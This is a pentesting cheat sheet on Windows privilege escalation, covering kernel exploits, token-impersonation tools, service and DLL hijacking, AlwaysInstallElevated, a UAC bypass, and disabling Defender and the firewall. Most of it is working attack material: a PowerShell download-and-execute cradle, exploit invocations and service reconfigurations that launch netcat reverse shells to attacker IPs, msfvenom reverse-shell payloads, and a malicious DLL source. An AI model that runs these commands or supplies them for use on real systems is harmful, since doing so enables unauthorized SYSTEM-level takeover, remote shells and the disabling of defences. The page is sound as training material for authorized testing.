Windows Privesc

Privilege Escalation usually involves going from a lower permission to a higher permission.

Enumeration Scripts:

There are some scripts that could help us in order to escalate privilege on Linux systems. These are two examples:

PowerUp.ps1: https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc
WinPEAS: https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS ****

Info: https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993

Kernel Vulnerabilities

We can exploit some kernel vulnerabilities in order to privesc.

All Windows Server 2008 R2 without HOTFIXES are vulenrable to MS15 and MS16 (MS15-051)

Sherlock.ps1

Is a powershell script that we can run out of memory in order to find some vulnerabilities.

First we need to modify it and add the following line to the end of the script:

Find-AllVulns

Once added, we just need to start http server and executed directly from powershell.

powershell.exe IEX(New-Object System.Net.Webclient).DownloadString('http://ip-addr:port/Sherlock.ps1')

Suggester

windows-exploit-suggester.py or wesng are amazing scripts that do this work.

Remember to update the database.

./windows-exploit-suggester.py --update

We just need to execute systeminfo and save the output into a file on the windows target machine.

systeminfo > systeminfo.txt

Once downloaded to our attacking machine we just need to execute the following command:

./windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --systeminfo systeminfo.txt

Compiling Exploits

Sometimes we need to compile our exploits in order to get the binary or executable.

For 64-bits:

x86_64-w64-mingw32-gcc exploit.c -o exploit.exe

For 32-bits:

i686-w64-mingw32-gcc exploit.c -o exploit.exe

MS09-20

/opt/windows-kernel-exploits/MS09-020/MS09-020-KB970483-CVE-2009-1535-IIS6/IIS6.0.exe

Usage:
.\IIS6.0.exe "c:\windows\temp\nc.exe -e cmd.exe 10.10.14.15 4444"

MS15-051

/opt/windows-kernel-exploits/MS15-051/MS15-051-KB3045171/MS15-051.exe

Usage:
.\ms15-051.exe "c:\windows\temp\nc.exe -e cmd.exe 10.10.14.15 4444"

MS16-032

/opt/windows-kernel-exploits/MS16-032/x64/ms16-032.exe

Usage:
.\ms16-032.exe

MS17-010 (EternalBlue)

COMahawk (CVE-2019-1405)

.\COMahawk.exe "C:/windows/temp/rev.exe"

We can check the windows version by using winver command (GUI needed).

Windows XP SP0/SP1 - upnphost

sc config upnphost binpath= "C:\Inetpub\wwwroot\nc.exe 10.10.10.10 4444 -e C:\WINDOWS\System32\cmd.exe"
sc config upnphost obj= ".\LocalSystem" password= ""
sc qc upnphost
sc config upnphost depend= ""
net start upnphost

Maybe it will fail due to missing some dependency, try the following:

sc config SSDPSRV start=auto
net start SSDPSRV
net stop upnphost
net start upnphost

sc config upnphost depend=""

Alert: SPACES are mandatory to the work of the exploit.

Check privileges

With the following command we can check the privileges that is assigned to the pwned user:

whoami /priv

SeImpersonatePrivilege

RottenPotato (Juicy Potato)

Juicy Potato is another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM. Is a sugared version of Rotten Potato. Download the latest realese and execute it.

.\JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\windows\temp\nc.exe -e cmd.exe 10.10.14.21 4444" -t *

PrintSpoofer

One way to gain system user on latest Operative System such as Windows10 or Server 2016/2019, is using the printspoofer exploit. Donwload the latest release and execute it on the target machine to gain privs.

PrintSpoofer64.exe -i -c cmd

SeLoadDriverPrivilege

We are able to load a driver, so we can load a vulnerable driver, then exploit it.

Load Capcom.sys

To load the driver we need first to create a C++ Console APP on Visual Studio (Not Code!) and paste the following script.

Alert: Remove line: #include "stdafx.h"

Once compiled With Release x64 we need to download Capcom.sys driver. (https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys)

Copy the driver and the binary to the target machine and execute it.

.\EoPLoadDriver.exe System\CurrentControlSet\dfserv C:\ProgramData\Capcom.sys
[+] Enabling SeLoadDriverPrivilege
[+] SeLoadDriverPrivilege Enabled
[+] Loading Driver: \Registry\User\S-1-5-21-2633719317-1471316042-3957863514-1104\System\CurrentControlSet\dfserv
NTSTATUS: 00000000, WinError: 0

NTSTATUS codes:

0xC000003B - STATUS_OBJECT_PATH_SYNTAX_BAD

0x00000034 - STATUS_OBJECT_NAME_NOT_FOUND

Exploiting Capcom.sys

I modified the following project: https://github.com/tandasat/ExploitCapcom. Download the project and open the ExploitCapcom.sln (Visual Studio Project) with Visual Studio.

Modify the line 410 of ExpliotCapCom.cpp and compile it.

Create the exploit.exe payload with msfvenom:

msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > exploit.exe

And upload all the files and execute the ExploitCapcom.exe:

.\ExploitCapcom.exe

Unquoted Service Path

Every Windows service has his access route to the executable. If this route is not quoted and contains spaces or others separators like this example C:\Program Files\First Folder\myexecutable.exe , the service will try to access to the resource in the following order:

C:\Program.exe
C:\Program Files\First.exe
C:\Program Files\First Folder\myexecutable.exe

If we can put our executable in one of the paths that it is checked before the real route, when we restart the service we will obtain a shell.

wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """

We need to ensure that the service is running by LocalSystem:

sc qc <service>

Once we've found the binaries that are vulnerable to unquoted service path, we need to find where we have permissions to write, for that work we can use icacls:

icacls "C:\Porgram Files"

Info: We need to find some with write permissions (W)

Once we've found the writeable path, we will need to create our malicious binary with msfvenom and upload in the right directory:

msfvenom -p windows/shell_reverse_tcp LHOST=<ip-addr> LPORT=<port> -f exe -o First.exe

Finally we need to restart the service to gain access to system:

sc stop <service>
sc start <service>

Always Install Elevated

If these 2 registers are enabled (value is 0x1), any user can install .msi ** files as NT AUTHORITY\SYSTEM**

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Creating the malicious .msi file

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT>-f msi -o shell.msi

Executing the .msi

msiexec /quiet /qn /i c:\users\user\documents\shell.msi

Note: I'd problems while exploiting it via WIN-RM. Try another way to get shell.

Incorrect permissions in services

A service running as NT AUTHORITY/SYSTEM with incorrect file permissions might allow to escalate privileges. You can replace the binary, restart the service and get system.

net start
wmic service list brief
sc query
Get-Service

Sometimes services are pointing to writeable folders:

Writeable Folders

Check permissions on folders.

C:\>icacls exacqVisionEsm
icacls exacqVisionEsm
exacqVisionEsm NT AUTHORITY\NETWORK SERVICE:(RX)
               S-1-5-21-1861402468-3453913150-4246083462-1001:(RX)
               BUILTIN\Administrators:(I)(OI)(CI)(F)
               NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
               BUILTIN\Users:(I)(OI)(CI)(RX)
               NT AUTHORITY\Authenticated Users:(I)(M)
               NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(IO)(M)

Permissions:

Full access (F): Change the binary to the malicious one. PRIV PATH
Modify access (M) : Rename the binary to bin.bak and copy the malicious binary to the original path bin.exe. PRIV PATH
Read and Execute access (RX): Can read and execute, nothing here.
Read-only acess (R): Only can read, nothing here.
Write-only acess (W): Only can write, same as (F), change the binary to the malicious one. PRIV PATH

Changing the original binary:

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 -f exe -o mal.exe

move .\enterprisesystemmanager.exe .\enterprisesystemmanager.bak
move C:\Windows\Temp\rev.exe .\enterprisesystemmanager.exe

Check the configuration of the service to see how to restart the service.

sc qc "exacqVision Enterprise System Manager Web Service"

Restart Manually

If you have sufficient permissions over the service restart it manually.

net stop ServiceName
net start ServiceName

AUTO_START enabled

If AUTO_START flag is enabled restart the machine

shutdown /r

DLL Hijacking

When we have permissions to overwrite the DLL or the DLL is missing we can create ours.

Msfvenom

A dll can also be created with msfvenom.

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 -f dll -o mal.dll

Manual DLL

The following C code is an example of our malicious dll.

#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
    if (dwReason == DLL_PROCESS_ATTACH) {
        system("cmd.exe c:\Temp\nc.exe -e cmd.exe <IP> <PORT>");
        ExitProcess(0);
    }
    return TRUE;
}

Compiling the DLL

#x64
x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll

#x86
i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll

Modifying the service

Check service permissions with accesschk from sysinternals.

accesschk -c <service> -l

And finally modify it.

sc stop <service>
sc config <service> binPath="C:\Temp\nc.exe -e cmd.exe <IP> <PORT>"
sc qc <service> #Check correct assigment 
sc start <service>

WSL (Windows Subsystem for Linux)

Windows Subsystem for Linux is a compatibility layer for running Linux binary executables natively on Windows 10 and Windows Server 2019.

Location:

C:\Windows\System32\wsl.exe

Executing wsl.exe we can get a subsystem shell (Linux) or we can search the subsystem fileroot on the windows machine.

C:\Users\User\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu18.04onWindows_79rhkp1fndgsc\LocalState\rootfs\

Inside the Linux filesystem as root, you can search for passwords or some other interesting things.

From Administrator to System

As it is known the maximum privilege account of windows systems is NT AUTHORITY\SYSTEM , so we need to spawn a shell with that account.

Once our user is already on Administrators group, we can check it with different forms:

net user admin
net sessions   #only can execute local administrators

There are different forms to spawn a system shell, but I will explain one, creating a service.

sc create <service_name> binpath= "C:\Users\User\nc.exe <ip-addr> <port> -e cmd.exe" type= own type= interact

After starting our new service we will get the System shell on our handler:

sc start <service_name>

Windows Scheduler

Similar to crontab, Windows Scheduler is a component of Microsoft Windows that provides the ability to schedule the launch of programs or scripts at pre-defined times.

If you found some of this running proceses tasklist, maybe you need to take a look:

WScheduler.exe
WService.exe
# Some other binary that starts with WS (WindowsScheduler)

So we will examinate the Events System Sheduler directory: C:\Program Files (x86)\SystemScheduler\Events

Find some logs files to see which program is scheduled, and replace the binary with yout malicious one.

Bypass UAC

User Account Control (UAC) is an access control system that forces applications and tasks to run in the context of a non-administrative account until an administrator authorizes elevated access.

Mandatory Levels

Exists three types of Mandatory Level:

whoami /all

GROUP INFORMATION
-----------------

Group Name                          Type             SID          Attributes                                        
=================================== ================ ============ ==================================================
Everyone                            Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Desktop Users        Alias            S-1-5-32-555 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                       Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE            Well-known group S-1-5-4      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users    Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization      Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
LOCAL                               Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication    Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\Low Mandatory Level Unknown SID type S-1-16-4096  Mandatory group, Enabled by default, Enabled group

Low Mandatory Level: Services like IE has no permissions, it can not write on any directory, but IE for example need to write cache on a directory. So with Low Mandatory Level we will only able to write data on the following path. C:\Users\Victim\AppData\LocalLow
Medium Mandatory Level: Permissions as a normal user.
High Mandatory Level: Permissions as NT AUTHORITY/SYSTEM.

UAC can be bypassed in various ways.

fodhelper.exe

fodhelper.exe is a Microsoft support application responsible for managing language changes in the operating system. This binary runs as high integrity on Windows 10.

With sigcheck.exe from SysInternals is posible to inspect the application manifest.

sigcheck.exe -a -m C:\Windows\System32\fodhelper.exe

Note: Search for requestedExecutionLevel as requireAdministrator and autoElevate in true.

First we need to add some registries with REG:

REG ADD HKCU\Software\Classes\ms-settings\Shell\Open\command
REG ADD HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ
REG ADD HKCU\Software\Classes\ms-settings\Shell\Open\command /d "cmd.exe" /f

Antivirus and Firewall

Antivirus

Check status:

Get-MpComputerStatus

Need NT AUTHORITY/SYSTEM rights if the UAC is enabled.

net stop WinDefend

If it is not possible login via RDP with an Administrator user and disable it manually.

Firewall

Disable firewall by executing:

netsh advfirewall set allprofiles state off
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False

References

PreviousLinux Privesc NextRun Commands AS

Last updated 3 years ago

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